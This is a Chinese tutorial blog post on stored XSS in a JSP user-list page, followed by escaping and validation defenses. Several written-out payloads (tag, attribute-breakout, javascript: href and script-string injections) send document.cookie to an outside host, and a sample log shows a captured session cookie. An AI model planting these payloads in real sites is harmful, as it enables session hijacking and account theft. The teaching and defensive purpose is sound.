XSS 攻击&防御实验

不要觉得你的网站很安全,实际上每个网站或多或少都存在漏洞,其中xss/csrf是最常见的漏洞,也是最容易被开发者忽略的漏洞,一不小心就要被黑

下面以一个用户列表页面来演示xss攻击的实验

假设某个恶意用户在注册时输入的用户名中包含攻击代码

首先准备一个jsp页面来显示用户列表

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}</td>
<td>${user.name}</td>
</tr>
</c:forEach>
</table>
</head>
<body>
</body>
</html>

然后模拟一个control从数据库取出用户列表,显示在该页面上

public class UserController extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//这里模拟从数据库中查询出来的用户
List<User> users = new ArrayList<User>();
users.add(new User(1 , "赖宝"));
users.add(new User(2 , "<script>alert('你被攻击了!');</script>"));
req.setAttribute("users" , users);
req.getRequestDispatcher("/users.jsp").forward(req,resp);
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req , resp);
}
}

当用户访问这个control后进入到用户列表页面,就会看到下面这样的效果了。

用浏览器的查看源代码功能可以看到页面的源代码如下:

<html>
<head>
<table>
<tr>
<td>1</td>
<td>赖宝</td>
</tr>
<tr>
<td>2</td>
<td><script>alert('你被攻击了!');</script></td>
</tr>
</table>
</head>
<body>
</body>
</html>

从html源代码中可以看出有脚本被插入到了页面并且被执行了。

上面这个例子的攻击者就是某个不怀好意的注册用户 , 被攻击者就是查看用户列表的一个管理员

高级攻击

当然,上面这样的攻击对被攻击者也造成不了多大的威胁,只是一个弹出而已,如果将攻击代码改成下面这样,你估计就不会这么觉得了。

//假设恶意用户又注册了用户名中包含攻击代码的用户
users.add(new User(3 , "<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));

当管理员再进入用户列表页面时就会发生悲剧了,首先看一下html源码变成啥样了

<html>
<head>
<table>
<tr>
<td>1</td>
<td>赖宝</td>
</tr>
<tr>
<td>2</td>
<td><script>alert('你被攻击了!');</script></td>
</tr>
<tr>
<td>3</td>
<td><script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script></td>
</tr>
</table>
</head>
<body>
</body>
</html>

上面的脚本执行了页面跳转,跳转到了一个攻击者的钓鱼网站,并且将当前用户的cookie,当前url等信息都当作参数传过去了。这个问题就大啦,熟悉http的都知道,有了cookie就相当拿到了当前用户的登录信息,攻击者就可以拿这些信息以管理员的身份访问用户列表了。

管理员的访问用户了列表页面后,浏览器变成了这样。(注意看浏览器地址栏,跳转到了钓鱼网站,并且将cookie和url传递过去了)

此时攻击者应该守在电脑屏幕等着网站管理员被攻击,此时他就能看到他的钓鱼网站的访问日志,日志中包含了被攻击用户的cookie与所访问的url

115.182.230.165 - - [22/May/2016:13:11:24 +0800] "GET /?c=__csrf_token__=8xK1wQ3t;%20JSESSIONID=6ub7dbn1pdwl1i1t3wms4i2jl&url=http://localhost:8080/user HTTP/1.1" 200 132 "http://localhost:8080/user" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

这样攻击者就能立马模拟被攻击者的用户信息去访问用户列表页面,如果用户列表中包含用户的很多隐私信息,比如电话,身份证号码,密码(一般不会啦)那么就真的悲剧了,此时攻击者能干什么事,就取决于被攻击用户拥有什么权限了,如果是一个很高级别管理员被攻击,将会有更悲剧的事情发生,各位可以自行脑补

除了直接输出到html标签内的代码可能被攻击,如果攻击代码出现在html标签的属性中也有可能被攻击

比如页面改成下面这样:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}</td>
<td userName="${user.name}">用户信息</td>
</tr>
</c:forEach>
</table>
</head>
<body>
</body>
</html>

当管理员访问页面时,浏览器查看html源码如下:


<html>
<head>
<table>
<tr>
<td>1</td>
<td userName="赖宝">用户信息</td>
</tr>
<tr>
<td>2</td>
<td userName="<script>alert('你被攻击了!');</script>">用户信息</td>
</tr>
<tr>
<td>3</td>
<td userName="<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">用户信息</td>
</tr>
</table>
</head>
<body>
</body>
</html>

看到的页面如下:

页面显示正常,因为脚本信息被两个引号给包住了,脚本被当作一个普通字符串属性处理了,所以没有执行。

接下来把攻击脚本稍微修改

//脚本前面加了 ">
users.add(new User(3 , "\"> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));

然后再看看此时html源码

<html>
<head>
<table>
<tr>
<td>1</td>
<td userName="赖宝">用户信息</td>
</tr> <tr>
<td>2</td>
<td userName="<script>alert('你被攻击了!');</script>">用户信息</td>
</tr>
<tr>
<td>3</td>
<td userName=""> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">用户信息</td>
</tr>
</table>
</head>
<body>
</body>
</html>

因为html如果找到一个>符号,就会关闭上一个标签开始下一个标签,所以攻击脚本中估计制造一个”>符号将td标签关闭,接下来的<script>脚本就能正常执行了。

上面的例子只是xss攻击方式里面比较常见的几种,但是足以说明xss攻击的原理与严重性,xss攻击方式是各种各样的,需要开发者在平时的开发中多注意,只要页面上需要展示不确定(用户输入的)的内容,都需要仔细对待

XSS防御

页面上直接输出的所有不确定(用户输入)内容都进行html转译

也就是将所有的[<,>,”,,&]等符号都用[<,>,",&]字符进行替换,这些html标签符号被替换后,浏览器就会拿它当作一个普通字符串对待,而不是当作一个标签的开始/结束标志对待。 比如下面的攻击代码在输出前进行转移

 String content = "<script>alert('ok');</script>";
content= StringEscapeUtils.escapeHtml4(content);
//被转后后成为了&lt;script&gt;alert('ok');&lt;/script&gt;字符串,然后再输出到浏览器

浏览器就不会将转译后的字符串当中脚本执行,而是直接输出一个字符串。 浏览器显示如下:

这样就已经能防御大部分xss攻击了

<a>标签的href属性中不要包含不确定(用户输入)的内容

上面的转译能够解决直接输出在html中的内容,原理是将脚本标签中的<>等符号转译替换掉,但是还有一些情况下执行脚本,是不一定要依赖标签的,也就是脚本不需要用<script></script>包住,那么转译对这种脚本就不起作用了,比如a标签中的href属性,除了直接指定一个url进行跳转,还可以通过javascript:xxx();的方式执行js代码。

比如注册用户信息是还要求用户输入一个博客地址(一个url),用户管理后台的列表中再加一列,让管理员直接点这个链接去访问用户的博客。

<td><a href="${user.blog}">博客地址</a></td>

攻击者在注册用户时,博客地址如果输入下面这样的脚本:

javascript:window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href

那么当管理员点击这个链接的时候,跟之前一样的悲剧就又发生了,管理员的登录信息又被攻击者盗取了。

所以千万不要直接将用户输入的信息输出到href属性中,即使一定要输出,也应该将内容中的javascript/document/cookie/…等js关键字替换掉 , 最好的方式就是直接将这个信息转译后输出到页面,让管理员复制链接然后再去打开博客

同样的还有onclick , onload , on… 等属性中也千万不要直接放置不确定的内容进去。

script脚本中不要使用不确定的内容

下面假设一个场景: 比如某个直播网站,主播可以设置昵称,用户可以进入该房间观看直播。并且js要用到该主播的昵称,比如要用js将主播昵称放到屏幕中间做一个滚动的效果。

某个开发人员像下面这样写代码 :

<script>
//获取主播昵称
var starNick = '${starNick}';
//让主播昵称在屏幕中间滚动
rollingStarNick(starNick);
</script>

看起来似乎没啥问题,但是主播如果是一个懂xss攻击,并且想盗取观看用户帐号信息的人。那么问题就大了。

假如主播将昵称改为如下代码:

';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'

当用户进入房间后,脚本部分源码将变成这样:

<script>
var starNick = '';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'' ;
rollingStarNick(starNick);
</script>

攻击脚本最前面的 ‘; 是为了结束变量starNick的定义,不然直接放要指定的脚本会被包裹在两个引号”中作为普通字符串处理。

悲剧发生了~,只要进入到这个房间,就会自动跳转到钓鱼网站,并且将cookie信息也传过去了。

对用户输入内容格式做校验

出现上面情况的前提是,服务端没有对用户输入的内容进行校验。假如服务端校验了博客地址是否是一个url格式、用户名是否包含特殊字符等信息,也就不会发生上面这些攻击了,所以服务端最好对用户输入的内容都进行格式校验。

防御总结

看完上面的例子之后,你还觉得你的网站非常安全吗~ ? xss攻击方式多种多样,常见的攻击方式上面都有举例,按照上面的几条防御原则,基本能防御绝大部分攻击了。当然还是需要开发人员格外细心,因为任何一个不注意,就可能导致严重的后果。

XSS 攻击实验 & 防御方案的更多相关文章

  1. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  2. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  3. 转---如何让前端更安全?——XSS攻击和防御详解

    前言 平时很少关注安全这块的技术,曾经也买过一本<Web前端黑客技术揭秘>但至今还没翻过,尴尬.今天的早读文章由腾讯优测@小吉带来的分享. 正文从这开始~ 最近深入了解了一下XSS攻击.以 ...

  4. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  5. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  6. XSS攻击及防御(转)

    add by zhj: 略有修改.另外还有一篇文章值得参考,使用 PHP 构建的 Web 应用如何避免 XSS 攻击,总得来说防御XSS的方法是客户端和服务端都 要对输入做检查,如果只有客户端做检查, ...

  7. xss攻击与防御

    一.XSS攻击 Cross Site Scripting跨站脚本攻击 利用js和DOM攻击. 盗用cookie,获取敏感信息 破坏正常页面结构,插入恶意内容(广告..) 劫持前端逻辑 DDos攻击效果 ...

  8. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  9. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

随机推荐

  1. HashMap为什么比数组查询快

    通常数组不直接保存值,而是通过保存值的list.然后对list中的“值”使用equals方法比较,这部分查询速度自然慢.但是如果有好的散列函数,数组的每个位置就只有较少的“值”.因此,不是查询所有的l ...

  2. $.ajax数据传输成功却执行失败的回调函数

    这个问题迷惑了我好几天,都快要放弃了,功夫不负有心人,最终成功解决,下面写一下我的解决方法. 我传的数据是json类型的,执行失败的回调函数是因为从后台传过来的数据不是严格的json类型,所以才会不执 ...

  3. 【Hadoop】HDFS笔记(二):HDFS的HA机制和Federation机制

    HA解决了HDFS的NameNode的单点问题: Federation解决了整个HDFS集群中只有一个名字空间,并且只有单独的一个NameNode管理所有DataNode的问题. 一.HA机制(Hig ...

  4. MyEclipse 断点打不上 提示 absent line number information

    在加入断点时,提示出 unable to install breakpoint in ...(file name) due to miss line number attributes. midify ...

  5. HDU - 1241 POJ - 1562 Oil Deposits DFS FloodFill漫水填充法求连通块问题

    Oil Deposits The GeoSurvComp geologic survey company is responsible for detecting underground oil de ...

  6. C#backgroundWorker用法

    1.在 WinForms 中,有时要执行耗时的操作,在该操作未完成之前操作用户界面,会导致用户界面停止响应.解决的方法就是新开一个线程,把耗时的操作放到线程中执行,这样就可以在用户界面上进行其它操作. ...

  7. ASP.NET学习笔记(一)相关概念

    ASP.NET 是一个开发框架,用于通过 HTML.CSS.JavaScript 以及服务器脚本来构建网页和网站. ASP.NET 支持三种开发模式: Web Pages MVC Web Forms ...

  8. java 大数详细讲解

    介绍 java中用于操作大叔的类主要有俩种 第一个是BigInteger,代表大整数.第二个是BigDecimal,代表大浮点数.两种类的操作方法类似,所以我们只讲解BigInterger的用法 基本 ...

  9. cmd,bat和dos的区别

    区别 dos是磁盘操作系统(Disk Operating System),是个人计算机上的一类操作系统. bat是DOS命令,在任何dos环境下都可以使用. bat文件是dos下的批处理文件,批处理文 ...

  10. github 收藏项目的方法

    1,Watching 需要收藏的项目 2,查看收藏的项目